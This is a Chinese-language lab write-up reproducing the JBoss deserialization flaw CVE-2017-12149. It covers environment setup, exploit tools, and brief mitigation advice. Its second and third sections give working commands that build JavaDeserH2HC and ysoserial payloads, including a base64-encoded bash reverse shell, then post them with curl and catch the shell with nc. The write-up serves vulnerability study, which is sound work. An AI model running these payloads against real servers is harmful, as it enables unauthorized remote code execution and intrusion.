Jboss反序列化漏洞復現(CVE-2017-12149)


Jboss反序列化漏洞復現(CVE-2017-12149)

//一共嘗試了三種方式

一:

(一)漏洞描述

漏洞為java反序列化錯誤,存在於jboss的Httplnvoker組件中的ReadOnlyAccessFilter過濾器中,該過濾器在沒有對用戶輸入的數據進行安全檢測的情況下,對數據流進行反序列化操作,進而導致了漏洞的發生

(二)漏洞影響版本:jboss 5.x、jboss6.x

(三)漏洞復現環境搭建

Win7 192.168.87.145 //建議在Win7,win10個人嘗試過,頁面解析不了

1.安裝java環境,並測試

(1)JDK,可以到官網下載:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

根據版本下載對應的JDK //我win7是64位的

image-20210919133350092

(2)配置環境變量

win+R,輸入sysdm.cpl --> 高級-->環境變量

  • 變量名:CLASSPATH //大小寫都行

    變量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar; //前面有個點"."

  • 變量名:Path //在里面加上

    變量值:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

  • 變量名:JAVA_HOME

    變量值:C:\Program Files\Java\jdk1.8.0_301

    (3)測試環境

cmd,輸入java、javac、java -version, 顯示成功就說明環境沒問題 //win10 ,javac執行不了是因為每個變量后面會自動加上; ,so

image-20210919135323879
這樣就ok了,
image-20210919135429189

2.搭建jboss環境

(1)http://jbossas.jboss.org/downloads/ 下載jboss-as-6.1.0-final

(2)解壓放在一個目錄下(C:\ve\jboss-6.1.0.Final)

(3)新建環境變量

  • 變量名:JBOSS_HOME

    變量值:C:\ve\jboss-6.1.0.Final

    在Path中加入 :%JBOSS_HOME%\bin;

(4)配置好環境變量后,在C:\ve\jboss-6.1.0.Final\bin下打開cmd,輸入call run.bat,出現下圖表示啟動成功

image-20210919141025292 image-20210919141310403

3.先在本地測試,在瀏覽器中輸入127.0.0.1:8080

//win中,端口都是開放的,默認是關閉狀態,有程序需要時,會自動打開。so,在cmd啟動后,在瀏覽器中輸入IP:port即可(查看端口使用狀態命令:netstat -ano)

image-20210919142304828

4.因為默認不能遠程訪問,所以我們需要修改一下配置文件,

位置在:jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml ,改成如下即可:,然后重啟jboss

image-20210919142816732

5.測試遠程訪問,ok~

image-20210919143116379

6.訪問http://192.168.87.145:8080/invoker/readonly,若顯示如下HTTP Status 500,則說明存在漏洞

image-20210919143334514

7.使用工具測試利用漏洞,工具下載地址:https://github.com/yunxu1/jboss-_CVE-2017-12149反序列化測試工具

(1)verify_CVE-2017-12149.jar提供命令行模式下驗證漏洞,如果漏洞存在返回特征字符串

image-20210919143628273

(2)直接使用jboss反序列化_CVE-2017-12149.jar

執行其他命令,出現中文會亂碼,可以輸入命令chcp 65001,減少亂碼

8.漏洞防護

1、升級jboss版本

2、不需要的http-invoker.sar組件,可以刪除

二:

靶機:win7 192.168.87.145:8080

測試機:kali 192.168.87.128

(1)下載漏洞利用工具 http://scan.javasec.cn/java/JavaDeserH2HC.zip,解壓放在kali桌面,進入JavaDeserH2HC目錄下,然后下載執行生成二進制的payload文件

輸入:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

//javac命令執行不了,輸入:apt install default-jdk ;centos執行不了,輸入:yum install java-devel

image-20210919165208710

(2)繼續輸入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.87.128:4444

​ //ip地址為Kali地址(ifconfig查看),端口為隨機監聽,不沖突就行,用來進行反彈shell

image-20210919165654402

(3)重新打開一個終端,輸入監聽端口的命令:nc -lvvp 4444

image-20210919165925648

(4)向靶機發送payload: ,成功則會返回監聽結果 // –data-binary的意思是使用curl命令向/invoker/readonly提交payload

curl http://192.168.87.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210919170755914

三,

反彈shell

該漏洞出現在/invoker/readonly請求中,服務器將用戶提交的POST內容進行了Java反序列化,so,我們用常規Java反序列化漏洞測試方法來復現該漏洞。

(1)編寫反彈shell的命令
我們使用bash來反彈shell,但由於Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我們需要用進行一次編碼

利用工具:http://www.jackson-t.ca/runtime-exec-payloads.html

image-20210919173149951(2)構造生成payload,使用ysoserial來復現生成序列化數據

java -jar ysoserial.jar CommonsCollections5

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

(3)監聽端口:nc -lvvp 6666

(4)發送payload:curl http://192.168.87.145:8080/invoker/readonly --data-binary @poc.ser,查看監聽結果


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM